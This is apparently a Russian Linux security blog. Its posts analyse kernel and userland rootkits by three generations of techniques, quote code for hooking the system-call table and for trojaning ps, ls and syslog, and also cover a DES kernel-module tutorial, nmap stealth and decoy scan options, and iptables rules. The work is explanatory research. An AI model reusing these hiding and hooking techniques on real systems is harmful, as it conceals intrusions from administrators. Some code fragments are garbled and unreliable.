Sunday, June 28, 2009

Rootkit Часть 2 Продолжение истории

Итак в прошлой статье мы начали исследование темы руткитов в операционной системе линукс и немного поговорили о истории. В этой статье мы поговорим о первых руткитах работающих в пространстве ядра.

Итак еще немного о классификации ]:-> Мы решили выделить 3 поколения руткитов, по версиям ядра на которых они работали.

Первое поколение руткитов.

Скорее всего такой тип руткитов встречался читателю не раз. Но потратим еще чуть чуть времени на анализ их поведения.
Данный вид руткитов существовал для ядра версии 2.4.х. И действие данных руткитов основано на том что адреса ключевых структур ядра могли быть свободно импортированы в код любого подгружаемого модуля. В том числе и адрес табилцы системных вызовов (о механизме работы системных вызовов и почему они являются столь желанной добчей для руткитов мы рассказывали в одной из заметок).
export syscall_table;

После этого к таблице системных вызовов можно обращатся как к обычному массиву. Это легко увидеть на примере руткита adora-42 (полный исходный код можно скачать здесь):


extern void *sys_call_table[];

int (*o_getdents)(unsigned int, struct dirent *, unsigned int);

int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *);
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);

#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif

<...>

#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
sys_call_table[__NR_##x] = n_##x

REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(close);
REPLACE(open);
REPLACE(stat);
REPLACE(lstat);
REPLACE(oldstat);
REPLACE(oldlstat);

#ifdef __NR_stat64
REPLACE(stat64);
#endif
#ifdef __NR_lstat64
REPLACE(lstat64);
#endif

REPLACE(mkdir);

#ifdef __NR_getdents64
REPLACE(getdents64);
#endif
Стоит отметить что на этой серии ядра работает и такой популярнй дистрибутив как Red Hat, а также большинство встраиваемых линуксов (роутеры, точки доступа, маршрутизатор и кофеварки). Однако не стоит думать что все они уязвимы и что наступит конец света как только это тайное знание просачится в интернет (люди в костюмах это специально для вас). Разработчики Red Hat едять свой хлеб не даром, и эти ядра куда более безопасны чем самые последние серии 2.6.х.

Второе поколение.

Нельзя сказать что коренные изменения произощедщие в ядре между версиями 2.4 и 2.6 были вызваны исключиельно вопросами безопасности. Однако мы поговорим о том что касается непосредственно руткитов. А в мире руткитов произошло падение гигантского метеорита, ледниковый период и глобальное потепление одновременно.
То есть был закрыт экспорт всех ключевых структур ядра. Следствием чего и явилось вымирание простых как две копейки руткитов первого поколения. На смену им пришли хищники иного рода.
Это поколение ориенировано на добывание табицы системных вызовов из неключевых структур ядра, остававшимися экспортируемыми. Только проблема в том что все эти структуры и объекты переставали быть экспртируемыми от версии к версии.
Мелкие, но проворные, идельно приспособленные к своей среде обитания они появлялись и исчезали вместе со средой.
Одним из наиболее характерных представителей данных руткитов является ITX (можно найти на античате либо в архиве здесь).
Он экспортировал из ядра адрес системного вызова sys_close() и ключевой структуры init_mm. Из init_mm извлекался адрес начала секции данных ядра, с которого начинался поиск участка памяти содержащий адрес системного вызова. Так как индексы системных вызовов в таблице известны заранее, то вычисление адреса начала таблицы системных вызовов не представляло сложностей. Далее стратегия внедрения руткита не отличалась от предыдущих версий.

unsigned long *find_sc(void){
int i;
unsigned long *ptr;
unsigned long arr[4];

// импорт адрес открытого системного вызова
extern int sys_close(int fd);

// определение адреса окончания секции кода
ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);

// поиск в оставшихся секциях указатель на системный вызов
while((unsigned long)ptr < (unsigned long)init_mm.end_data){
if (*ptr == (unsigned long)((unsigned long *)sys_close)){
for(i=0;i<4;i++){>> 16) &0x0000ffff;
}

if(arr[0] != arr[2] || arr[1] != arr[3]) {
sys_call_table = (ptr - __NR_close); break;
}

ptr++;
}

// возвращение указателя на системный вызов
if(sys_call_table)
return sys_call_table;
return NULL;
}
Но к версии 2.6.25 использовать оставшиеся экспортируемые структуры стало совершенно неинтересно. Сложно сказать что случилось первым: умер ли последний представитель второго поколения или появился на свет руткит нового поколения, однако факт остается фактом и на свет появляется третье поколение руткитов.

Третье поколение руткитов.

Подросло новое поколение, которое пошло принципиально другим путем - увеличения лобных долей и освобождения рук для орудий труда массового поражения.
Впервые данная технология была описана в статье Devik, Sd. «Linux on-the-fly kernel patching without LKM» 58 номера электронного журнала phrack.Основной принцип этой технологии состоит в том, что адрес таблицы системных вызовов содержится в функции system_call (см. заметку о работе механизма системных вызовов). Внутри неё осуществляется переход на нужный системный вызов путем выполнения машинной инструкции call eax*4+XXXXXXXX, где XXXXXXXX адрес таблицы системных вызовов. Данная команда может быть вычислена по сигнатуре ff 14 85 XX XX XX XX, вероятность повторения данной сигнатуры внутри функции стремится к нулю. Адрес функции system_call содержится в IDT (Interruption Description Table) по смещению 0x80.

// функция возвращает указатель на таблицу IDT

static int __get_int_handler(int offset)
{
int idt_entry = 0;
/* off2 << 16 | off1 */
__asm__ __volatile__ ( "xorl %%ebx,%%ebx \n\t"
"pushl %%ebx \n\t"
"pushl %%ebx \n\t"
"sidt (%%esp) \n\t"
"movl 2(%%esp),%%ebx \n\t"
"movl %1,%%ecx \n\t"
"leal (%%ebx, %%ecx, 8),%%esi \n\t"
"xorl %%eax,%%eax \n\t"
"movw 6(%%esi),%%ax \n\t"
"roll $0x10,%%eax \n\t"
"movw (%%esi),%%ax \n\t"
"popl %%ebx \n\t"
"popl %%ebx \n\t"
: "=a" (idt_entry)
: "r" (offset)
: "ebx", "esi" );

return idt_entry;
}

//Достаем адресс таблицы системных вызовов
#define RETURN_SYSCALL_TABLE 0
#define RETURN_SYSCALL_CALL 1

static unsigned int __get_syscall_table(int idt_entry, int mode)
{
unsigned char *p = (unsigned char *)idt_entry;
unsigned int table;

while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
{
p ++;
}

table = *(unsigned int *)(p+3);

if (mode == RETURN_SYSCALL_TABLE)
return table;

if (mode == RETURN_SYSCALL_CALL)
return (unsigned int)p;

return 0;
}

После чего можно использовать стандартный механизм внедрения в системные вызовы.

Из всего вышеописанного можно сделать вывод, что все три технологии сводятся к поиску таблицы системных вызовов и замене адресов определенных вызовов своими, или внедрению непосредственно в код системного вызова. Но, начиная с версии 2.6.16, разработчики ядра ввели специальный механизм, который располагает все критически важные объекты ядра, в областях памяти защищенных от записи. Этот механизм можно инициализировать включив опцию CONFIG_DEBUG_RODATA при сборке ядра.

Но и на этом история не закончилась. Мы еще не рассказали о появлении Rotkitus Sapies, ведь с их приходом и начинается все самое интересное. Однако статья и так получилась достаточно большой поэтому продолжим в следующий раз.

Saturday, June 13, 2009

Quik Note: Системные вызовы Linux

Один из основных механизмов системы который нам строить и жить помогает - это механизм системных вызовов. Как ни странно о том чтоже это такое можно долго читать и так ничего и не понять.

Для начала приведем то, что об этом говорит Таненбаум. Он говрит (и ему можно верить) что современный компьютер состоит из нескольких абстрактных уровней: микроархитектурный, уровень архитектуры команд и уровень операционной системы. В свою очередь на уровне операционной системы находится некоторый набор команд доступных прикладному программисту. В этом наборе помимо команд более низкого уровня содержатся и системные вызовы.

Если предыдущий абзац был не понят, то ничего от этого не изменится и это никак не помешает использовать эти самые вызовы в своих целях.

Вообще их можно воспринимать как своеобразные API для доступа к аппаратным ресурсам (главное не путать их с API пользовательского уровня).

Но лучше перейти к практики, а так можно до бесконечности.

Что происходит когда программист запрашивает открытие какого лирбо файла с помощью функции fopen() системной библиотеки libc ?

А происходит следующее:

0x00h) Внутри вункции fopen() происходит вызов системного вызова (но это только начало). Посмотрим в детали. Вызвать системный вызов можно двумя способами - используя ассемблерную иструкцию int 0x80h (классика жанра) или вызвать ассемблерную инструкцию sysenter (доступной начиная со времен процессоров Intel Pentium II). Во всех последних версиях ядер Linux поддерживаются оба способа.

 push dword mode //Все аргументы передаются через стек по stdcall соглашению
push dword flags
push dword path
mov eax, 5 // Номер системного вызова передается через eax (5 = __NR_open)
int 80h
или sysenter (правда не особо к месту, AT&T синтаксис и подробнее расписан тут)
 #include 
int pid;
int main (){
__asm (
"movl $20, %eax \n" // Номер системного вызова
"call *%gs:0x10 \n"
"movl %eax, pid \n" // Сохраняем значение
);
printf ("pid: %d\n", pid);
return 0;
}

0x01h) Обработчик этого вызова располагается в самом ядре (arch/x86/kernel/entry_32.S):

 syscall_call:
call *sys_call_table(,%eax,4) // Используя таблицу системных вызовов вычисляем адрес запрошенного систменого вызова
movl %eax,PT_EAX(%esp) // store the return value

Таблица системных вызовов это специальный массив содержащий в себе адреса всех системных вызовов. Индекс нужного вызова можно посмотреть в include/asm/unistd_32.h.

0xo2h) Дальше управление наконецто переходит к самому системному вызову

0x03h) После этого происходит востановление возвращаемого значения и поройдя еще есколько процедур управление передается туда от куда пришло.

Это всеголишь квик нот то больше подробностей описывать не будем, темболее что их и так много:

тут http://www.int80h.org/
тут http://manugarg.googlepages.com/systemcallinlinux2_6.html
еще очень подробно расписанно тут http://rflinux.blogspot.com/2008/03/linux-syscalls-linux.html

Tuesday, May 19, 2009

Rootkit (часть первая): История и классификация

Эта статья открывает цикл, который мы хотим посвятить руткит технологиям в линукс. Цикл будет состоять из 5 статей. В первой статье мы немного обратимся к истории и расскажем о появлении и развитии руткитов. Во второй и третьей статьях мы подробно рассмотрим одни из самых опасных и нашумевших представителях этого вида DR - рутките и Adora-ng. В четвертой и пятой статье мы расскажем о некоторых собственных иследованиях.

Начало.

Итак обратимся к истории. Сам по себе руткит не является вредоносной программой. Само слово руткит происходит от слияния двух слов root (привилигированный пользователь в линукс) и toolkit (набор инструментов). Изначально руткиты использовались системным администратором для скрытия некоторых конфигов от пользователя и предоставления защищеного удаленого доступа к машине. Точно так же руткиты используются и теперь скрывая следы своей деятельности уже не только от простых пользователей но и от администраторов.
Степень угрозы.

Как видно из диаграммы взятой из отчета IBM доля руткитов среди прочего вредоносного кода очень мала. Это связано с тем что руткиты в основном используются в качестве вспомогательных средств скрытия для вредоносного или шпионского кода (за это их часто называют шапками невидимками). Еще одним фактором из-за которого процент так невелик, является то, что вредоносное ПО даже обладающее функциональностью руткита, классифицируется по его основному поведению (и антивирус говорит что это например всего лишь троян). Так же написание руткитов требует достаточно большой квалификации, и лишь немногие вредоносные программы обладают таким уровнем сложности.

Виды руткитов.

Разобраться серьезно в какой либо теме без систематизации и классификации невозможно. Поэтому нами была сделана попытка классифицировать руткиты по типу их поведения. Так как по классификациям большинства антивирусных компаний руткит является самой малой классификационной единицей, то отдельной классификации на них нет и мы решили предложить свою. =)
Всего существует 4 вида руткитов:
  1. Руткиты пространства ядра;
  2. Руткиты пространства пользователя;
  3. Аппаратные руткиты;
  4. Загрузочные руткиты.
Руткиты пространства пользователя подменяют или модивицируют основные системные утилиты.

Примером руткита подменяющего основные системные утилиты может служить руткит SHV о которым мы писали в одной из заметок.

Руткиты модифицирующие основные системные утилиты являются более сложными по своей реализации. Оба этих типа руткита страдают от одних и тех же недостатков:
  • Все подобные руткиты легко обнаруживаются контролем целостности приложений. Любой мало мальски уважающий себя антивирус мгновенно обнаружит это.
  • По самой своей архитектуре ниодин подобный руткит не имеет средств защиты от обнаружения.
  • В линукс одну и туже операцию можно выполнить многими способами. То есть наверняка останется какая нибудь не модифицированная утили с помошью которой можно будет обнаружить скрываемые файлы и процессы.
Так же специфичным для модифицирующих руткитов является такой недостаток как достаточно большая вероятность привести в неработоспособность модифицируемые утилиты, что сразу же обнаружит факт проникновения в систему.
Между двумя основными видами руткитов стоят достаточно распространенные руткиты которые представляют из себя программу пространства пользователя, но модифицирующую виртуальный образ ядра. Примером такого руткита может послужить Mood-NT о котором мы также рассказывали в одной из заметок.

Продолжение следует.

Итак статья начинает разрастаться до удручающих размеров. А так как руткиты пространства ядра тема еще более обшиная то продолжим ее в другой раз.

Saturday, May 2, 2009

RUCTF 2009


С 23.04.09 по 27.04.09 в Уральском государственном университете в городе Екатеринбурге проходили вторые межвузовские соревнования по защите информации, проводимые по правилам CTF. Офсайт по адресу http://ructf.org/2009/
Нам удалось выступить там с докладом и поучаствовать в самой игре в гостевой команде.
Презентацию с нашего доклада можно взять здесь с анимацией (31 Мб) и без (> 1Мб) Вот небольшой фотоотчет по этой наполненой драйвом недели
http://picasaweb.google.ru/friackazoid/RUCTF2009

Tuesday, April 14, 2009

Quik Note: Linux руткит пространства пользователя.

основано на статье "Троянизация Тукса №1" _1nf3ct0r_ http://hellknights.void.ru/

Для маскировки руткиту пространства пользователя необходимо скрывать свой процесс, сетевое соединение, свой файл а также запретить каким либо утилитам влять на себя. Например руткит SHV подменяет:
  • dir, find, ls, lsof, locate/slocate для скрытия файлов
  • ifconfig, netstat, sz, tcpd для скрытия соединения
  • ps, pstree, top для скрытия процесса
А также некоторые другие.
Протроянивание ps (а также и других ответственных за скрытие процесса утилит) происходит простым добавлением проверки на пид нашего зловреда (в файле readproc.c)
proc_t* ps_readproc(ProcTab* PT, proc_t, rbuf) {
next_proc:
while ((ent = readdir(PT->procfs)) && (*ent->d_name < '0' || *ent->d_name > '9')) {}
if (!ent || !ent->d_name) /* Также можно добавить проверку чтобы не палится в /proc */
return NULL;
sprintf(patn. "/proc/%s", ent->d_name);
if (stat(path, &sb) == -1)
goto next.proc;
if (sb.st_uid == 1337) {
goto next_proc;
}

В утилитах отвечающих за скрытие файла добавляется точно такая же проверка только сравнение происходит не по пиду а по имени файла.
static int file_interesting (const struct dirent *next) {
for (ignore = ignore_patterns; ignore; ignore = ignore->next)
if (fnmatch (ignore (ignore->pattern, hack->d_name, FNM_PERIOD) == 0)
return 0;
if ( !strcmp(next->d_name. "...") ) {
return 0;
if (really_all_file || hack>d_name[0] != '.' || (allfile...

В утилиты логирующие системные события добавляем проверки на любые следы активности нашего зловреда. Например
void logmsg(intpri, char* msg, const char* form, int flags) {
if (strstr(msg, "123.123.123.12") )
return;
dprintf("logmsg: %s, flags %x, from %s, msg %s\n",
textpri(pri), flags, from, msg);
msglen = strlen(msg);

Все представленные методы проверок имеют большое количество недостатков и являются далеко не самыми эфективными, но мы же не собираемся это использовать в каких то нехороших целях =)

Friday, March 27, 2009

Quik Notes: Мониторинг производительности


wmstat
wmstat 5 - отражение основных показателей с интервалом 5 секунд.





procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
2 0 420 12724 57908 387432 0 0 122 88 125 537 6 2 88 4 0
0 0 420 13328 57968 387572 0 0 14 130 218 774 3 1 94 2 0
1 0 420 13204 58024 387596 0 0 14 55 270 634 2 0 97 1 0
0 0 420 12708 58088 387692 0 0 23 83 361 887 2 1 95 2 0
0 0 420 11736 58192 387824 0 0 38 66 270 790 3 1 94 2 0

Первая строка содержит значения, усредненные за время работы системы с момента загрузки, поэтому мало информативна.
В столбце r отражается количество процессов в очереди выполнения на момент измерения.
В столбце b показывается количество процессов, заблокированных операциями ввода/вывода (данные процессы ожидают возвращения некоторой части данных ввода/вывода и не могут быть прерваны).
В столбце swpd отображено количество памяти, выгруженной на диск (в килобайтах).
В столбце free отображено количество памяти, не используемой приложениями, буферами или кэшем (в килобайтах).
Столбцы buff и cache показывают, какое количество памяти выделено под буферы и кэш.
В столбцах группы swap показывается среднее количество памяти (в килобайтах), загруженной (si) и выгруженной (so) на диск в секунду.
В столбцах группы io отображено количество дисковых блоков в секунду, считанных со всех блочных устройств и отосланных им.
В столбцах группы system отображено количество прерываний (in) и переключений контекста (cs) в секунду.
Сумма последних 5 значений должна быть равна 100, так как эти значения проценты от времени работы процессора.
В столбце us отображено среднее время, затраченное центральным процессором на обработку задач пользователей за период выборки.
В столбце sy – среднее время, затраченное на обработку системных задач.
Столбец id показывает время простоя ЦП.
Столбец wa – время ожидания процессором данных ввода/вывода.
Столбец, st (steal time - украденное время), предназначен для серверов, на которых запущены гипервизор и виртуальные машины. Данное значение представляет собой время, в течение которого гипервизор мог бы работать с виртуальной машиной, но ему приходилось выполнять какие-то другие задачи.
С помошью команды wmstat -d можно узнать состояние каждого диска.

Sunday, February 1, 2009

Автостопом по крипто апи.



Пребью
Криптографии в разработке системных и не только приложениях принято уделять повышенное внимание. Особенно сейчас, когда набитость сундуков многих благородных сэров, как и степень их свободы, напрямую зависит от степени конфеденциальости их информации. Чтобы секономить время и не ходить лишний раз к проктологу восьпользуемся тем что, большинство стойких и эффективных алгоритмов уже реализованно професионалами этого дела. Плод их трудов открыто предоставляется на комерческой и бесплатной основе. Разработчики операционных систем тоже не сидят сложа руки предоставляя разработчикам специальные API. В этой статье мы хотим рассказать об исползования таких API в модуле ядра для операционной системы Linux, котороый будет шифровать исходящий трафик и расшифровывать входящий.

Летс гоу.
А начнем пожалуй с подготовки системы. Для начала надо убедится что система готова к созданию разного рода приложений, а конкретно к разработке модулей ядра. Помимо присутсвия GCC надо еще убедиться что ядро было скомпилированно с поддержкой модульности и криптографических API. Про установку GCC и включение модульности написано много мануалов поэтому не будем тратить ни времени ни чернил, в информации по созданию модулей недостатка тоже не чувствуется, так что приступим сразу к делу. Крипто API включаются выставлением параметров CONFIG_CRYPTO* в конфигурационном файде ядра (/usr/src/.config). А самый легкий способ проверки их доступности это попытаться скомпилировать пример который находится все в техже исходниках ядра. Заходим в папку с иходниками ядра, дальше как наверное не трудно догадаться в дирректорию crypto и компилируем tcrypt.c. Если он компелируется без фатальных ошибок и даже работает, то собираемся с духом и идем дальше.

Вот из ит.
Теперь надо немного разобраться чтоже всетаки мы подключили и где это найти. Исходники этого всего дела лежат в тойже директории что и упомянутый выше tcrypt.c, а сам он является примером в котором показано как использовать все реализованные в Cryptographic API алгоритмы. Пример этот хорошо коментирован, а если что-то остается не совсем понятным то всегда можно заглянуть в лежащие рядом исходники самих Cryptographic API. Но как говорится сказать или даже написать проще чем сделать. На практике довольно часто можно свалиться в штопор в самых неожиданных местах, и потом довольно долго по частям собирать то что всего пять минут назад летело со скоростью звука. К сожалению ошибки всегда банальны, но постоянны, и каждый раз вспоминать как приклеивается один и тоже кусок становится утомительным. Сделать один раз инструкцию и современем её дополнять гораздо эффективнее и проще. Относительно наших API можно сказать тоже самое. Нормального мана на русском языке по ним нам найти не удалось, а повторно вкуривать одну и туже траву это не тру. Поэтому хотим оставить своего рода рабочие записки и надеемся что это еще комунибудь поможет.

Литл море
Предположим мы хотим реализвать немного устаревший но достаточно быстрый и провереный алгоритм DES. У этого алгоритма существует несколько режимов:

* ECB (Electronic Code Book) - режим все блоки шифруются независимо друг от друга и не сцепляются;
* CBC (Cipher Block Chaining)- режим в котором результат шифрования предыдущего блока используется для шифрации текущего.

Под блоками тут подразумевается часть шифротекста. Так с виду один и тот же алгоритм может быть реализован в разных режимах. Если кому интересно, то в качестве домашнего задания можно еще самостоятельно покурить CFB и OFB.
Однако, мы отвлеклись от темы. Для своих целей выберем режим CBC как более надежный и приступим сделав наброски будующего кода.
Как это часто бывает начнем с написания и описания ключевых структур и переменных.

struct completion comp;
struct scatterlist sg[8];
struct crypto_ablkcipher *tfm;
struct ablkcipher_request *req;


Переменная comp служит для синхронизации выполнения между нашей функцией и непосредственно шифрованием. Суть этого станет ясна чуть ниже. А пока рассмотрим саму структуру. Она объявлена в include/linux/completion.h и содержит всего два поля:
struct completion {
unsigned int done;
wait_queue_head_t wait;
};

Первое это флаг выполнения, а второе указатель на очередь ожидающих задач.

Следующая переменная sg описана в include/linux/scatterlist.h. Это структура платформо зависимая, и на i386 платформе она определена следующим образом:
struct scatterlist {
struct page *page;
unsigned int offset;
dma_addr_t dma_address;
unsigned int length;
};

Заполнение полей этой структуры вполне можно поручить функции sg_init_one(). В этой функции определяется страница памяти, с которой "начинается" buf, и определяется смещение указателя buf относительно адреса начала страницы.
tfm и есть наша основная структура, в файле include/linux/crypto.h находится ее описание
struct crypto_ablkcipher {
struct crypto_tfm base;
};


Не очень информативно поэтому посмотрим чуть выше, где находится
struct crypto_tfm {
u32 crt_flags;
union {
struct ablkcipher_tfm ablkcipher;
struct aead_tfm aead;
struct blkcipher_tfm blkcipher;
struct cipher_tfm cipher;
struct hash_tfm hash;
struct compress_tfm compress;
} crt_u;
struct crypto_alg *__crt_alg;
void *__crt_ctx[] CRYPTO_MINALIGN_ATTR;
};

Уже что-то неправдали? первым полем идут флаги, о некоторых из них расскажем чуть ниже. Далее объединение более низкуровневых структур для разных типов криптографических задач, прямой доступ к которым использовался в предыдущих версиях. В crypto_alg содержится указатель на структуру. в которой есть все необходимое для корректной работы непосредственно алгоритма шифрования. А именно имя самого алгоритма, приоритет и т.д. /*про это можно подробнее отсюда http://diploma-thesis.siewior.net/html/diplomarbeitch4.html*/

Следующая переменная req содержит указатель на структуру запросов struct ablkcipher_request.
struct ablkcipher_request {
struct crypto_async_request base;
unsigned int nbytes;
void *info;

struct scatterlist *src;
struct scatterlist *dst;

void *__ctx[] CRYPTO_MINALIGN_ATTR;
};


С помошью этой прменной мы обращамся к страницам памяти где находится шифрованный и расшифрованый текст.

Когда мы разобрались с основными переменными можно приступать к написанию самого кода. Начнем с инициализации переменной comp с помощью функции init_completion().
init_completion(&comp);

Эта функция обнулят флаг done, и добвляет comp в голову очереди wait_queue_head_t, о которых рассказывалось выше. Подробнее о механизме работы этой структуры и о том для чего мы ее используем будет рассказано еще чуть ниже ;).

Теперь выделим память дла нашей оновной пременной.
tfm = crypto_alloc_ablckhipher ("cbc(des)", 0, CRYPO_TFM_REQ_WEAK_KEY);

В качестве первого параметра мы передаем имя алгоритма, второй параметр это тип шифрования (вспомните объединение crt_u в опиании структуры), третьим параметром мы передам флаги, переданный флаг означает что алгоритм должен принимать даже слабые ключи.

Далее выделям память для ablkcipher_request
req = ablkcipher_request_alloc (tfm, GFP_KERNEL);

С первым параметром думаю все понятно и так. Непосредственно память под структуру выделяется функцией kmalloc, которая в качестве параметра принимает флаг, говорящий о том как именно стоит выделять память. Флаг GFP_KERNEL (GFP - Get Free Page) резервирует блок памяти, выделяя страницы памяти по мере обращения к ним. Существует и другие флаги например:
GFP_ATOMIC выделяет требуемую память немедленно (при необходимости вытесняя другие страницы на диск);
GFP_BUFFER никогда не вытесняет другие страницы, и если запрошенная память недоступна, с выделением наступает облом.
Фактически приходится выбирать между GFP_ATOMIC и GFP_KERNEL. Обычно используют GFP_KERNEL, так как он ведет себя не столь агрессивно.

Потом установим ключ которым будем шифровать
ret = crypto_ablkcopher_sekey (tfm, key, strlen(key));

Эта функция возвращает 0 в случае успеха и код ошибки больший нуля в случа неудачи. К првому параметру думаю опять не возникает никаких вопросов, да и с остальными ничего сложного: второй - указатель на строку с ключем, третий - длина.

Теперь позаботимся о расположении текста который будем шифровать
sg_init_one (&sg[0], text, strlen(text));

Стоит отметить что текст должен быть кратен восьми, иначе при попытке зашифровать\дешифровать получите ошибку -21 (что означает «некорректные входные данные»). То как с этим боремся мы можно посмотреть в приложенном коде. Сама же функция просто заполняет страницы памяти текстом, который собираемся зашифровать или дешифровать :).

Подготовим запрос для шифрования/дешифрования сообщив ему с какими страницами и текстом какой длины предстоит работать
u8  iv = {0xff, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10};
ablkcipher_request_set_crypt (req, sg, sg, strlen(text), iv);

Последним параметром передается инициализирующий вектор, который также необходим для шифрования и расшифрования и служит своего рода открытым ключем. Его можно вычислять каким либо образом от самого ключа, просить пользоватля вводить его или делать постоянным как в нашем случае для упрощения алгоритма.

Теперь приступаем непосредствнно к шифрованию/дешифрованию
ret = enc ? crypto_ablkcipher_encrypt (req) : crypto_ablkcipher_decrypt(req);

Сами функции и их параметр в пояснении думаю не нуждаются, если не понятно перечтайте еще раз внимательно о req. Ну с ret все совсем понятно скажите вы. А вот и нет :). Да ret в случае удачного выполнения действительно будет равна 0. Но вот остальные значения не всегда означают ошибку.

Теперь пришло время рассказать совсем подробно о роли переменной comp и этом механизме.
switch (ret){
case 0:
break;

case -EINPROGRESS: case -EBUSY:
printk ("\nwait\n");
ret = wait_for_completion_interruptible (&comp);
if (!ret) {
INIT_COMPLETION(comp);
break;
}

default:
printk ("failred err=%d", -ret);
goto out;
}

Вспомните описание структуры completion, непонятные слова которые мы говорили о флаге выполнения и очереди задач. Дело в том что криптоалгоритмы не так быстры как хотелось бы. Но как же так скажите вы как мы можем вернутся в вызвавщую функцию до того как завершилась вызываемая. Дело в том что авторы этой библиотеки очень хитрые люди и оптимизировали работу криптоалгоритмов в расчете на распаралеливание вашего алгоритма и с учетом что к шифруемым дешифруемым двнным будут обращатся другие алгоритмы. Поэтому и получилось так что мы можем вернутся в вызвавшую функцию до того как шифрование/дешифрование завершится. Для того чтобы избежать обращения к еще не зашифрованным/ не расшифрованым данным мы и используем структуру completion. Механизм работы этой структуры и функций с ним связанным идентичен механизму работы блокирующих семафоров. Когда работа криптоалгоритма будет завершена он выставит поле done в 1 и наша функция продолжит работу. Если вы знакомы с семафорами то вопросов не возникнет, если нет то настоятельно рекомендуем познакомится.

Далее можно для проверки распечатать зашифрованый/дешифрованный текст или делать с ним все что угодно.

Дуй ит нау
Сам модуль можно найти здесь. Код подробно прокоментирован и не должен вызывать затруднений. По сути он добалвляет свою фукцию (nethook) по обработке полученных и отправленных пакетов на определенное устройство, символьное имя которого задается параметром device_name. А за шифрование/дешифрование отвечает функция my_des, в ней пременено все о чем мы писали выше. Инструкция по сборке и установке лежит рядом. Дерзайте ;)

Sunday, January 25, 2009

Quick Note: nmap

  • nmap -sS -PB -F 3 опции используемые по умолчанию. Трехкодовое квитирование не завершается оставляя факт сканирования незаметным для большинства машин. Для определения статуса хоста используются как TCP так и ICMP пакет что повышает надежность но делает много шума. -F 3 означает что пакеты посылаются со скростью работы ОС.
  • nmap -sP Выполняется простое эхо-тестирование всех адресов, чтобы увидеть, какие из них ответят на ICMP-запрос.
  • nmap -sU -p 1024-65535 проверяет наличие слушаемых UDP-портов. cпособен выявить троянские программы, использующие UDP-порты с большими номерами и скрытые RPC-сервисы. Опция -p позволяет задать номера портов наиболле часто используемых малварью.
  • nmap -sF Это скрытное сканирование использующее пакеты TCP FIN. Может осуществляться под наблюдением некоторых программ выявления вторжений и при наличии других контрмер.
  • nmap -sN Cкрытное сканирование, при котором все флаги заголовка TCP сброшены (или пусты). Для серверов не под Windows, защищенных межсетевым экраном, оно может стать способом проникновения.
  • nmap -n FTP_HOST Использует лазейку в протоколе TCP для "отражения" сканирующих пакетов от сервера FTP во внутреннюю сеть, которая обычно недоступна. Зная IP-адрес сервера FTP, который подключен к локальной сети, вы можете проникнуть через межсетевой экран и сканировать внутренние машины.
  • nmap -sR ищет машины, отвечающие сервисам удаленного вызова процедур (RPC). RPC-сканирование зондирует найденные открытые порты с помощью команд, показывающих имя программы и версию сервиса RPC.
  • nmap -sW Данный тип сканирования полагается на аномалию в ответах на пакеты ACK в некоторых операционных системах, чтобы обнаружить порты, которые предположительно фильтруются. Известно, что к числу операционных систем, уязвимых для подобного сканирования, принадлежат некоторые версии AIX, Amiga, BeOS, BSDI, Cray, DG/UX, Digital UNIX, FreeBSD, HP/UX, IRIX, MacOS, NetBSD, OpenBSD, OpenStep, OpenVMS, OS/2, QNX, Rhapsody, SunOS 4.X, Tru64 UNIX, Ultrix, VAX и VxWorks
  • nmap -sI Данный тип сканирования появился в Nmap версии 3.0. Это сверхскрытный метод, при применении которого пакеты сканирования отражаются от внешнего хоста. Необязательно иметь контроль над этим хостом, но он должен работать и удовлетворять некоторым требованиям. Вы должны ввести IP адрес хоста-зомби и номер используемого порта.
  • nmap -PT Для обнаружения хостов используется только метод TCP.
  • nmap -PE Использовать для раскрытия сети только пакеты ICMP.
  • nmap -P0 Nmap не будет пытаться сначала выяснить, какие хосты активны, а будет вместо этого посылать пакеты по каждому IP-адресу заданного диапазона, даже если по этому адресу машины нет. это может быть единственным способом просканировать хорошо защищенную сеть, которая не отвечает на ICMP-пакеты
  • nmap -F 0 пакет раз в 5 минут
  • nmap -F 1 пакет раз в 15 секунд
  • nmap -F 2 пакет раз в 4 секунды
  • nmap -F 4 со скростью ОС но время ожидание сокращено до 5 минут на хост и до 1,25 секунды на пакет
  • nmap -F 5 Время ожидания 0,75 секунды на хост и 0,3 секунды на зондирующий пакет.
  • nmap -n не делать разрешения имен
  • nmap -F быстрое сканирование
  • nmap -D адреса_приманки1 адрес_приманки2 Эта опция создает видимость, что хосты, указанные в качестве приманок, участвуют в сканировании целевых машин.
  • nmap -f вызывает фрагментацию отправляемых пакетов сканирования.
  • nmap -I запрашивать идентификацию
  • nmap -R разрешить все адреса
  • nmap -O идентификация ОС
  • nmap -m сохранять журналы в виде пригодном для NLog

Рецепты на каждый день: iptables - firewall

Тщательно очистите 3 цепочки
iptables -F FORWARD
iptables -F INPUT
iptables -F OUTPUT

Поместите инструкцию "запретить все" в самое начало

iptables -P FORWARD DROP
iptables -A INPUT -i eth0 -j DROP

И разрешите фрагментированным пакетам проходить через вашу сеть

iptables -A FORWARD -f -j ACCEPT

Попытки подделатся под нашу сеть или затопить ее должны быть пресечены сразу же.

iptables -A FORWARD -s 192.168.0.0/24 -i eth0 -j DROP
iptables -A FORWARD -p icmp -i eth0 -d 192.168.0.255 -j DENY

Пропускаем инициированный из внутренней сети соединения.

iptables -A FORWARD -p tcp -i eth0 -d 192.168.0.0/24 --dports www,smtp --tcp-flags SYN, ACK -j ACCEPT

Пропускаем соединения инициированные изнутри.

iptables -A FORWARD -m multiport -p tcp -i eth0 -d 192.168.0.0/24 --dport smtp --syn -j ACCEPT

